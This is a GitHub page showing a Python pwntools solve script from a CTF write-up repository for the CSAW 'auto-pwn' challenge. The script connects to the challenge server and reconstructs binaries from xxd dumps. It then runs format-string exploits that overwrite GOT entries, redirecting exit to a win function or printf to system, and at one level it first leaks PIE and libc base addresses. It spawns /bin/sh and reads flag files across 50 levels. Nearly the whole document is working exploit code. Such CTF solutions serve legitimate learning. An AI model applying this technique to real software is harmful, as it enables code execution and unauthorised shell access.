forked from RedCadets/CTF-writeups
/
procrastination.py
122 lines (96 loc) · 3.51 KB
/
procrastination.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
from os import system
import re
host = 'auto-pwn.chal.csaw.io'
port = 11001
password = b'cd80d3cd8a479a18bbc9652f3631c61c'
#? Return address for the third level
FGETS_IN_MAIN = 0x401AFB
def get_binary_from_xxd():
r = b'-------------------------------------------------------------------\n'
io.recvuntil(r)
elf_xxd = io.recvuntil(r)[:-len(r)]
with open(f'binary_{i}.txt', 'wb') as f:
f.write(elf_xxd)
system(f'cat binary_{i}.txt | xxd -r > elf_{i}')
for i in range(1, 51 + 1):
io = connect(host, port)
io.warn('Try ' + str(i))
io.sendlineafter(b'> ', password)
get_binary_from_xxd()
exe = context.binary = ELF(f'./elf_{i}')
level = io.recvuntil(b'> ')
level = re.findall(b'Simulator ([A-Za-z]+ [A-Za-z]+)', level)[0]
io.warn(b"========= " + level + b" =========")
if b'Two' in level or b'One' in level:
WIN = exe.functions['win'].address
EXIT = exe.got['exit']
#? Fourth level
#? PIE enabled
#? Missing SYSTEM function
#? It is necessary to leak the address of the binary and libc
if b'Four' in level:
#? Saved libc from leaked address
libc = ELF('./libc/libc.so.6')
#? Leak binary and libc addresses
io.sendline(b'%32$p|%45$p')
io.recvuntil(b'0x')
res = (b'0x' + io.recvline()[:-1]).split(b'|')
#? Calculating base address of binary
_start = int(res[0], 16)
base_addr = _start - 0x11a0
io.warn(f'BASE BINARY: 0x{base_addr:x}')
exe.address = base_addr
#? Calculating base address of libc
_start_main_ret = int(res[1], 16)
libc_base_address = _start_main_ret - 0x0270b3
io.warn(f'LEAK _start_main_ret: 0x{_start_main_ret:x}')
io.warn(f'BASE LIBC: 0x{libc_base_address:x}')
libc.address = libc_base_address
PRINTF = exe.got['printf']
SYSTEM = libc.sym['system']
#? Rewrite PRINTF function with SYSTEM
payload = fmtstr_payload(8, {PRINTF:SYSTEM}, write_size='byte')
io.warn(f'Len: {len(payload)}, Payload: {payload}')
io.sendline(payload)
sleep(1)
io.sendline(b'/bin/sh')
#? Third level
#? Missing WIN function
#? Stripped binary
elif b'Three' in level:
PRINTF = exe.got['printf']
SYSTEM = 0x401124
#? rewrite PRINTF with SYSTEM and EXIT with address before calling FGETS
payload = fmtstr_payload(6, {EXIT: FGETS_IN_MAIN, PRINTF:SYSTEM}, write_size='byte')
io.warn(f'Len: {len(payload)}, Payload: {payload}')
io.sendline(payload)
sleep(1)
io.sendline(b'/bin/sh')
else:
#? Second level
#? x86_64 arch
if context.arch == 'amd64':
payload = fmtstr_payload(6, {EXIT: WIN}, write_size='byte')
#? First level
#? i386 arch
else:
payload = b'||' + fmtstr_payload(6, {EXIT: WIN}, numbwritten=2, write_size='byte')
io.sendline(payload)
io.warn(f'Len: {len(payload)}, Payload: {payload}')
if i == 50:
io.sendline(b'cat flag.txt')
system(f'rm binary_{i}.txt elf_{i}')
break
io.sendline(b'cat message.txt')
io.recvuntil(b'auto-pwn.chal.csaw.io ')
port = int(io.recvuntil(b' and')[:-4])
io.recvuntil(b'password ')
password = io.recvline()[:-1]
io.warn('PORT: ' + str(port))
io.warn('PASSWORD: ' + str(password))
system(f'rm binary_{i}.txt elf_{i}')
io.close()
io.interactive()